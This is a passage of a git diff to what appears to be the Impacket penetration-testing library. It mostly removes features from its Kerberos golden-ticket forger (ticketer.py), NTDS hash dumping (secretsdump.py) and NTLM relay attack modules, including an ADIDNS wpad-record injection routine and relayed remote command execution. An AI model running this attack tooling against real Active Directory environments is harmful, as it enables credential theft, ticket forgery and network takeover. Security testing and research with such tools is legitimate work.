lmhash, nthash) - else: - return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) - - -def main(): - print(version.BANNER) - args = parse_args() - init_logger(args) - - if args.action == 'write' and args.new_owner_sAMAccountName is None and args.new_owner_SID is None and args.new_owner_DN is None: - logging.critical('-owner, -owner-sid, or -owner-dn should be specified when using -action write') - sys.exit(1) - - if args.action == "restore" and not args.filename: - logging.critical('-file is required when using -action restore') - - domain, username, password, lmhash, nthash = parse_identity(args) - if len(nthash) > 0 and lmhash == "": - lmhash = "aad3b435b51404eeaad3b435b51404ee" - - try: - ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) - owneredit = OwnerEdit(ldap_server, ldap_session, args) - if args.action == 'read': - owneredit.read() - elif args.action == 'write': - owneredit.read() - owneredit.write() - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - traceback.print_exc() - logging.error(str(e)) - - -if __name__ == '__main__': - main() diff --git a/examples/rbcd.py b/examples/rbcd.py index f29f7d6b6f..0521bc39ef 100755 --- a/examples/rbcd.py +++ b/examples/rbcd.py @@ -371,10 +371,8 @@ def get_allowed_to_act(self): logging.info('Accounts allowed to act on behalf of other identity:') for ace in sd['Dacl'].aces: SID = ace['Ace']['Sid'].formatCanonical() - SidInfos = self.get_sid_info(ace['Ace']['Sid'].formatCanonical()) - if SidInfos: - SamAccountName = SidInfos[1] - logging.info(' %-10s (%s)' % (SamAccountName, SID)) + SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1] + logging.info(' %-10s (%s)' % (SamAccountName, SID)) else: logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty') except IndexError: diff --git a/examples/secretsdump.py b/examples/secretsdump.py index 23c89e4491..304be4fdfb 100755 --- a/examples/secretsdump.py +++ b/examples/secretsdump.py @@ -60,7 +60,6 @@ from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.smbconnection import SMBConnection -from impacket.ldap.ldap import LDAPConnection, LDAPSessionError from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes, \ KeyListSecrets @@ -84,7 +83,6 @@ def __init__(self, remoteName, username='', password='', domain='', options=None self.__aesKey = options.aesKey self.__aesKeyRodc = options.rodcKey self.__smbConnection = None - self.__ldapConnection = None self.__remoteOps = None self.__SAMHashes = None self.__NTDSHashes = None @@ -104,7 +102,6 @@ def __init__(self, remoteName, username='', password='', domain='', options=None self.__justDC = options.just_dc self.__justDCNTLM = options.just_dc_ntlm self.__justUser = options.just_dc_user - self.__ldapFilter = options.ldapfilter self.__pwdLastSet = options.pwd_last_set self.__printUserStatus= options.user_status self.__resumeFileName = options.resumefile @@ -123,46 +120,6 @@ def connect(self): else: self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - def ldapConnect(self): - if self.__doKerberos: - self.__target = self.__remoteHost - else: - if self.__kdcHost is not None: - self.__target = self.__kdcHost - else: - self.__target = self.__domain - - # Create the baseDN - if self.__domain: - domainParts = self.__domain.split('.') - else: - domain = self.__target.split('.', 1)[-1] - domainParts = domain.split('.') - self.baseDN = '' - for i in domainParts: - self.baseDN += 'dc=%s,' % i - # Remove last ',' - self.baseDN = self.baseDN[:-1] - - try: - self.__ldapConnection = LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcHost) - if self.__doKerberos is not True: - self.__ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - else: - self.__ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, - self.__aesKey, kdcHost=self.__kdcHost) - except LDAPSessionError as e: - if str(e).find('strongerAuthRequired') >= 0: - # We need to try SSL - self.__ldapConnection = LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost) - if self.__doKerberos is not True: - self.__ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) - else: - self.__ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, - self.__aesKey, kdcHost=self.__kdcHost) - else: - raise - def dump(self): try: if self.__remoteName.upper() == 'LOCAL' and self.__username == '': @@ -181,12 +138,6 @@ def dump(self): else: self.__isRemote = True bootKey = None - if self.__ldapFilter is not None: - logging.info('Querying %s for information about domain users via LDAP' % self.__domain) - try: - self.ldapConnect() - except Exception as e: - logging.error('LDAP connection failed: %s' % str(e)) try: try: self.connect() @@ -200,7 +151,7 @@ def dump(self): else: raise - self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost, self.__ldapConnection) + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) self.__remoteOps.setExecMethod(self.__options.exec_method) if self.__justDC is False and self.__justDCNTLM is False and self.__useKeyListMethod is False or self.__useVSSMethod is True: self.__remoteOps.enableRegistry() @@ -274,7 +225,7 @@ def dump(self): useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, outputFileName=self.__outputFileName, justUser=self.__justUser, - ldapFilter=self.__ldapFilter, printUserStatus=self.__printUserStatus) + printUserStatus= self.__printUserStatus) try: self.__NTDSHashes.dump() except Exception as e: @@ -288,7 +239,7 @@ def dump(self): if resumeFile is not None: os.unlink(resumeFile) logging.error(e) - if (self.__justUser or self.__ldapFilter) and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: + if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: logging.info("You just got that error because there might be some duplicates of the same name. " "Try specifying the domain name for the user as well. It is important to specify it " "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") @@ -375,9 +326,6 @@ def cleanup(self): group.add_argument('-just-dc-user', action='store', metavar='USERNAME', help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. ' 'Implies also -just-dc switch') - group.add_argument('-ldapfilter', action='store', metavar='LDAPFILTER', - help='Extract only NTDS.DIT data for specific users based on an LDAP filter. ' - 'Only available for DRSUAPI approach. Implies also -just-dc switch') group.add_argument('-just-dc', action='store_true', default=False, help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)') group.add_argument('-just-dc-ntlm', action='store_true', default=False, @@ -423,7 +371,7 @@ def cleanup(self): domain, username, password, remoteName = parse_target(options.target) - if options.just_dc_user is not None or options.ldapfilter is not None: + if options.just_dc_user is not None: if options.use_vss is True: logging.error('-just-dc-user switch is not supported in VSS mode') sys.exit(1) diff --git a/examples/smbserver.py b/examples/smbserver.py index b65e3fc2f7..df658a0f73 100755 --- a/examples/smbserver.py +++ b/examples/smbserver.py @@ -42,7 +42,6 @@ parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface') parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)') - parser.add_argument('-dropssp', action='store_true', default=False, help='Disable NTLM ESS/SSP during negotiation') parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') if len(sys.argv)==1: @@ -73,7 +72,6 @@ server.addShare(options.shareName.upper(), options.sharePath, comment) server.setSMB2Support(options.smb2support) - server.setDropSSP(options.dropssp) # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous # connections will be allowed diff --git a/examples/ticketer.py b/examples/ticketer.py index bfb7361176..c7d8422fa9 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -73,11 +73,9 @@ from impacket.krb5.crypto import _checksum_table, Enctype from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \ - VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO, UPN_DNS_INFO_FULL, PAC_REQUESTOR_INFO, PAC_UPN_DNS_INFO, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR, \ - PAC_ATTRIBUTE_INFO + VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO from impacket.krb5.types import KerberosTime, Principal from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS -from impacket.ldap.ldaptypes import LDAP_SID class TICKETER: @@ -103,14 +101,6 @@ def getFileTime(t): t *= 10000000 t += 116444736000000000 return t - - @staticmethod - def getPadLength(data_length): - return ((data_length + 7) // 8 * 8) - data_length - - @staticmethod - def getBlockLength(data_length): - return (data_length + 7) // 8 * 8 def loadKeysFromKeytab(self, filename): keytab = Keytab.loadFile(filename) @@ -174,15 +164,10 @@ def createBasicValidationInfo(self): kerbdata['LogonCount'] = 500 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = int(self.__options.user_id) + kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') - if len(groups) == 0: - # PrimaryGroupId must be set, default to 513 (Domain User) - kerbdata['PrimaryGroupId'] = 513 - else: - # Using first group as primary group - kerbdata['PrimaryGroupId'] = int(groups[0]) kerbdata['GroupCount'] = len(groups) for group in groups: @@ -247,68 +232,8 @@ def createBasicPac(self, kdcRep): clientInfo['NameLength'] = len(clientInfo['Name']) pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData() - if self.__options.extra_pac: - self.createUpnDnsPac(pacInfos) - self.createAttributesInfoPac(pacInfos) - self.createRequestorInfoPac(pacInfos) - return pacInfos - def createUpnDnsPac(self, pacInfos): - upnDnsInfo = UPN_DNS_INFO_FULL() - - PAC_pad = b'\x00' * self.getPadLength(len(upnDnsInfo)) - upn_data = f"{self.__target.lower()}@{self.__domain.lower()}".encode("utf-16-le") - upnDnsInfo['UpnLength'] = len(upn_data) - upnDnsInfo['UpnOffset'] = len(upnDnsInfo) + len(PAC_pad) - total_len = upnDnsInfo['UpnOffset'] + upnDnsInfo['UpnLength'] - pad = self.getPadLength(total_len) - upn_data += b'\x00' * pad - - dns_name = self.__domain.upper().encode("utf-16-le") - upnDnsInfo['DnsDomainNameLength'] = len(dns_name) - upnDnsInfo['DnsDomainNameOffset'] = total_len + pad - total_len = upnDnsInfo['DnsDomainNameOffset'] + upnDnsInfo['DnsDomainNameLength'] - pad = self.getPadLength(total_len) - dns_name += b'\x00' * pad - - # Enable additional data mode (Sam + SID) - upnDnsInfo['Flags'] = 2 - - samName = self.__target.encode("utf-16-le") - upnDnsInfo['SamNameLength'] = len(samName) - upnDnsInfo['SamNameOffset'] = total_len + pad - total_len = upnDnsInfo['SamNameOffset'] + upnDnsInfo['SamNameLength'] - pad = self.getPadLength(total_len) - samName += b'\x00' * pad - - user_sid = LDAP_SID() - user_sid.fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}") - upnDnsInfo['SidLength'] = len(user_sid) - upnDnsInfo['SidOffset'] = total_len + pad - total_len = upnDnsInfo['SidOffset'] + upnDnsInfo['SidLength'] - pad = self.getPadLength(total_len) - user_data = user_sid.getData() + b'\x00' * pad - - # Post-PAC data - post_pac_data = upn_data + dns_name + samName + user_data - # Pac data building - pacInfos[PAC_UPN_DNS_INFO] = upnDnsInfo.getData() + PAC_pad + post_pac_data - - @staticmethod - def createAttributesInfoPac(pacInfos): - pacAttributes = PAC_ATTRIBUTE_INFO() - pacAttributes["FlagsLength"] = 2 - pacAttributes["Flags"] = 1 - - pacInfos[PAC_ATTRIBUTES_INFO] = pacAttributes.getData() - - def createRequestorInfoPac(self, pacInfos): - pasRequestor = PAC_REQUESTOR() - pasRequestor['UserSid'].fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}") - - pacInfos[PAC_REQUESTOR_INFO] = pasRequestor.getData() - def createBasicTicket(self): if self.__options.request is True: if self.__domain == self.__server: @@ -478,7 +403,7 @@ def customizeTicket(self, kdcRep, pacInfos): encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow()) # Let's extend the ticket's validity a lil bit - ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(hours=int(self.__options.duration)) + ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration)) encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['authorization-data'] = noValue @@ -548,7 +473,7 @@ def customizeTicket(self, kdcRep, pacInfos): if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO after making it gold') validationInfo.dump() - print('\n') + print ('\n') else: raise Exception('PAC_LOGON_INFO not found! Aborting') @@ -628,120 +553,58 @@ def customizeTicket(self, kdcRep, pacInfos): def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): logging.info('Signing/Encrypting final ticket') - # Basic PAC count - pac_count = 4 - # We changed everything we needed to make us special. Now let's repack and calculate checksums validationInfoBlob = pacInfos[PAC_LOGON_INFO] - validationInfoAlignment = b'\x00' * self.getPadLength(len(validationInfoBlob)) + validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] - pacClientInfoAlignment = b'\x00' * self.getPadLength(len(pacClientInfoBlob)) - - pacUpnDnsInfoBlob = None - pacUpnDnsInfoAlignment = None - if PAC_UPN_DNS_INFO in pacInfos: - pac_count += 1 - pacUpnDnsInfoBlob = pacInfos[PAC_UPN_DNS_INFO] - pacUpnDnsInfoAlignment = b'\x00' * self.getPadLength(len(pacUpnDnsInfoBlob)) - - pacAttributesInfoBlob = None - pacAttributesInfoAlignment = None - if PAC_ATTRIBUTES_INFO in pacInfos: - pac_count += 1 - pacAttributesInfoBlob = pacInfos[PAC_ATTRIBUTES_INFO] - pacAttributesInfoAlignment = b'\x00' * self.getPadLength(len(pacAttributesInfoBlob)) - - pacRequestorInfoBlob = None - pacRequestorInfoAlignment = None - if PAC_REQUESTOR_INFO in pacInfos: - pac_count += 1 - pacRequestorInfoBlob = pacInfos[PAC_REQUESTOR_INFO] - pacRequestorInfoAlignment = b'\x00' * self.getPadLength(len(pacRequestorInfoBlob)) + pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM] - serverChecksumAlignment = b'\x00' * self.getPadLength(len(serverChecksumBlob)) + serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM] - privSvrChecksumAlignment = b'\x00' * self.getPadLength(len(privSvrChecksumBlob)) + privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER - offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * pac_count + offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4 # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData - offsetData = self.getBlockLength(offsetData + validationInfoIB['cbBufferSize']) + offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData - offsetData = self.getBlockLength(offsetData + pacClientInfoIB['cbBufferSize']) - - pacUpnDnsInfoIB = None - if pacUpnDnsInfoBlob is not None: - pacUpnDnsInfoIB = PAC_INFO_BUFFER() - pacUpnDnsInfoIB['ulType'] = PAC_UPN_DNS_INFO - pacUpnDnsInfoIB['cbBufferSize'] = len(pacUpnDnsInfoBlob) - pacUpnDnsInfoIB['Offset'] = offsetData - offsetData = self.getBlockLength(offsetData + pacUpnDnsInfoIB['cbBufferSize']) - - pacAttributesInfoIB = None - if pacAttributesInfoBlob is not None: - pacAttributesInfoIB = PAC_INFO_BUFFER() - pacAttributesInfoIB['ulType'] = PAC_ATTRIBUTES_INFO - pacAttributesInfoIB['cbBufferSize'] = len(pacAttributesInfoBlob) - pacAttributesInfoIB['Offset'] = offsetData - offsetData = self.getBlockLength(offsetData + pacAttributesInfoIB['cbBufferSize']) - - pacRequestorInfoIB = None - if pacRequestorInfoBlob is not None: - pacRequestorInfoIB = PAC_INFO_BUFFER() - pacRequestorInfoIB['ulType'] = PAC_REQUESTOR_INFO - pacRequestorInfoIB['cbBufferSize'] = len(pacRequestorInfoBlob) - pacRequestorInfoIB['Offset'] = offsetData - offsetData = self.getBlockLength(offsetData + pacRequestorInfoIB['cbBufferSize']) + offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData - offsetData = self.getBlockLength(offsetData + serverChecksumIB['cbBufferSize']) + offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData - # offsetData = self.getBlockLength(offsetData+privSvrChecksumIB['cbBufferSize']) + # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 # Building the PAC_TYPE as specified in [MS-PAC] - buffers = validationInfoIB.getData() + pacClientInfoIB.getData() - if pacUpnDnsInfoIB is not None: - buffers += pacUpnDnsInfoIB.getData() - if pacAttributesInfoIB is not None: - buffers += pacAttributesInfoIB.getData() - if pacRequestorInfoIB is not None: - buffers += pacRequestorInfoIB.getData() - - buffers += serverChecksumIB.getData() + privSvrChecksumIB.getData() + validationInfoBlob + \ - validationInfoAlignment + pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment - if pacUpnDnsInfoIB is not None: - buffers += pacUpnDnsInfoBlob + pacUpnDnsInfoAlignment - if pacAttributesInfoIB is not None: - buffers += pacAttributesInfoBlob + pacAttributesInfoAlignment - if pacRequestorInfoIB is not None: - buffers += pacRequestorInfoBlob + pacRequestorInfoAlignment - + buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ + privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ + pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment pacType = PACTYPE() - pacType['cBuffers'] = pac_count + pacType['cBuffers'] = 4 pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail @@ -786,7 +649,7 @@ def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): if logging.getLogger().level == logging.DEBUG: logging.debug('Customized EncTicketPart') print(encTicketPart.prettyPrint()) - print('\n') + print ('\n') encodedEncTicketPart = encoder.encode(encTicketPart) @@ -838,7 +701,7 @@ def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): if logging.getLogger().level == logging.DEBUG: logging.debug('Final Golden Ticket') print(kdcRep.prettyPrint()) - print('\n') + print ('\n') return encoder.encode(kdcRep), cipher, sessionKey @@ -882,9 +745,8 @@ def run(self): parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' 'created for (default = 500)') parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') - parser.add_argument('-extra-pac', action='store_true', help='Populate your ticket with extra PAC (UPN_DNS, ATTRIBUTES and REQUESTOR)') - parser.add_argument('-duration', action="store", default = '87600', help='Amount of hours till the ticket expires ' - '(default = 24*365*10)') + parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires ' + '(default = 365*10)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 7c19fb7726..fafb394e50 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -22,7 +22,6 @@ import binascii import codecs import re -import dns.resolver import ldap3 import ldapdomaindump from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM @@ -31,8 +30,6 @@ from ldap3.utils.conv import escape_filter_chars import os from Cryptodome.Hash import MD4 -from ipaddress import IPv4Address, AddressValueError -from functools import partial from impacket import LOG from impacket.examples.ldap_shell import LdapShell @@ -411,9 +408,9 @@ def aclAttack(self, userDn, domainDumper): # Dictionary for restore data restoredata = {} - # Query for the sid of our incoming account (can be a user or a computer in case of a newly creation computer account (i.e. MachineAccountQuot abuse) + # Query for the sid of our user try: - self.client.search(userDn, '(objectClass=*)', attributes=['sAMAccountName', 'objectSid']) + self.client.search(userDn, '(objectClass=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] except IndexError: LOG.error('Could not retrieve infos for user: %s' % userDn) @@ -774,136 +771,6 @@ def translate_sids(sids): LOG.info("Principals who can enroll using template `%s`: %s" % (entry["attributes"]["name"], ", ".join(("`" + sid_map[principal] + "`" for principal in enrollment_principals)))) - LOG.info("Done dumping ADCS info") - - def addDnsRecord(self, name, ipaddr): - # https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1 - def new_dns_namearray(data): - index_array = [pos for pos, char in enumerate(data) if char == '.'] - name_array = bytearray() - if len(index_array) > 0: - name_start = 0 - for index in index_array: - name_end = index - name_start - name_array.append(name_end) - name_array.extend(data[name_start:name_end+name_start].encode("utf8")) - name_start = index + 1 - name_array.append(len(data) - name_start) - name_array.extend(data[name_start:].encode("utf8")) - else: - name_array.append(len(data)) - name_array.extend(data.encode("utf8")) - return name_array - - def new_dns_record(data, type): - if type == "A": - addr_data = data.split('.') - dns_type = bytearray((0x1, 0x0)) - dns_length = int_to_4_bytes(len(addr_data))[0:2] - dns_data = bytearray(map(int, addr_data)) - elif type == "NS": - dns_type = bytearray((0x2, 0x0)) - dns_length = int_to_4_bytes(len(data) + 4)[0:2] - dns_data = bytearray() - dns_data.append(len(data) + 2) - dns_data.append(len(data.split("."))) - dns_data.extend(new_dns_namearray(data)) - dns_data.append(0) - else: - return False - - dns_ttl = bytearray(reversed(int_to_4_bytes(60))) - dns_record = bytearray(dns_length) - dns_record.extend(dns_type) - dns_record.extend(bytearray((0x05, 0xF0, 0x00, 0x00))) - dns_record.extend(int_to_4_bytes(get_next_serial_p())) - dns_record.extend(dns_ttl) - dns_record.extend((0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)) - dns_record.extend(dns_data) - return dns_record - - def int_to_4_bytes(num): - arr = bytearray() - for i in range(4): - arr.append(num & 0xff) - num >>= 8 - return arr - - # https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py - def get_next_serial(server, zone): - dnsresolver = dns.resolver.Resolver() - dnsresolver.nameservers = [server] - res = dnsresolver.resolve(zone, 'SOA',tcp=True) - for answer in res: - return answer.serial + 1 - - try: - dns_naming_context = next((nc for nc in self.client.server.info.naming_contexts if "domaindnszones" in nc.lower())) - except StopIteration: - LOG.error('Could not find DNS naming context, aborting') - return - - domaindn = self.client.server.info.other['defaultNamingContext'][0] - domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] - dns_base_dn = 'DC=%s,CN=MicrosoftDNS,%s' % (domain, dns_naming_context) - - get_next_serial_p = partial(get_next_serial, self.client.server.address_info[0][4][0], domain) - - LOG.info('Checking if domain already has a `%s` DNS record' % name) - if self.client.search(dns_base_dn, '(name=%s)' % escape_filter_chars(name), search_scope=ldap3.LEVEL): - LOG.error('Domain already has a `%s` DNS record, aborting' % name) - return - - LOG.info('Domain does not have a `%s` record!' % name) - - ACL_ALLOW_EVERYONE_EVERYTHING = b'\x01\x00\x04\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x000\x00\x02\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\n\x14\x00\x00\x00\x00\x10\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00' - - a_record_name = name - is_name_wpad = (a_record_name.lower() == 'wpad') - - if is_name_wpad: - LOG.info('To add the `wpad` name, we need to bypass the GQBL: we\'ll first add a random `A` name and then add `wpad` as `NS` pointing to that name') - a_record_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(12)) - - # First add an A record pointing to the provided IP - a_record_dn = 'DC=%s,%s' % (a_record_name, dns_base_dn) - a_record_data = { - 'dnsRecord': new_dns_record(ipaddr, "A"), - 'objectCategory': 'CN=Dns-Node,%s' % self.client.server.info.other['schemaNamingContext'][0], - 'dNSTombstoned': False, - 'name': a_record_name, - 'nTSecurityDescriptor': ACL_ALLOW_EVERYONE_EVERYTHING, - } - - LOG.info('Adding `A` record `%s` pointing to `%s` at `%s`' % (a_record_name, ipaddr, a_record_dn)) - if not self.client.add(a_record_dn, ['top', 'dnsNode'], a_record_data): - LOG.error('Failed to add `A` record: ' % str(self.client.result)) - return - - LOG.info('Added `A` record `%s`. DON\'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)' % a_record_name) - - if not is_name_wpad: - return - - # Then add the wpad NS record - ns_record_name = 'wpad' - ns_record_dn = 'DC=%s,%s' % (ns_record_name, dns_base_dn) - ns_record_value = a_record_name + "." + domain - ns_record_data = { - 'dnsRecord': new_dns_record(ns_record_value, "NS"), - 'objectCategory': 'CN=Dns-Node,%s' % self.client.server.info.other['schemaNamingContext'][0], - 'dNSTombstoned': False, - 'name': ns_record_name, - 'nTSecurityDescriptor': ACL_ALLOW_EVERYONE_EVERYTHING, - } - - LOG.info('Adding `NS` record `%s` pointing to `%s` at `%s`' % (ns_record_name, ns_record_value, ns_record_dn)) - if not self.client.add(ns_record_dn, ['top', 'dnsNode'], ns_record_data): - LOG.error('Failed to add `NS` record `wpad`: ' % str(self.client.result)) - return - - LOG.info('Added `NS` record `%s`. DON\'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)' % ns_record_name) - def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') @@ -1085,27 +952,6 @@ def run(self): self.dumpADCS() LOG.info("Done dumping ADCS info") - if self.config.adddnsrecord: - name = self.config.adddnsrecord[0] - ipaddr = self.config.adddnsrecord[1] - - dns_name_ok = True - dns_ipaddr_ok = True - - # DNS name can either be a wildcard or just contain alphanum and hyphen - if (name != '*') and (re.search(r'[^0-9a-z-]', name, re.I)): - LOG.error("Invalid name for DNS record") - dns_name_ok = False - - try: - IPv4Address(ipaddr) - except AddressValueError: - LOG.error("Invalid IPv4 for DNS record") - dns_ipaddr_ok = False - - if dns_name_ok and dns_ipaddr_ok: - self.addDnsRecord(name, ipaddr) - # Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) diff --git a/impacket/examples/ntlmrelayx/attacks/smbattack.py b/impacket/examples/ntlmrelayx/attacks/smbattack.py index e0e0787da4..c90a78600b 100644 --- a/impacket/examples/ntlmrelayx/attacks/smbattack.py +++ b/impacket/examples/ntlmrelayx/attacks/smbattack.py @@ -14,8 +14,6 @@ # Alberto Solino (@agsolino) # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # -import os - from impacket import LOG from impacket.examples.ntlmrelayx.attacks import ProtocolAttack from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell @@ -67,7 +65,7 @@ def run(self): LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: - from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets + from impacket.examples.secretsdump import RemoteOperations, SAMHashes from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: @@ -98,31 +96,20 @@ def run(self): return try: - remote_host = self.__SMBConnection.getRemoteHost() if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) - LOG.info("Executed specified command on host: %s", remote_host) + LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print(self.__answerTMP.decode(self.config.encoding, 'replace')) else: - if not os.path.exists(self.config.lootdir): - os.makedirs(self.config.lootdir) - outfile = os.path.join(self.config.lootdir, remote_host) bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = 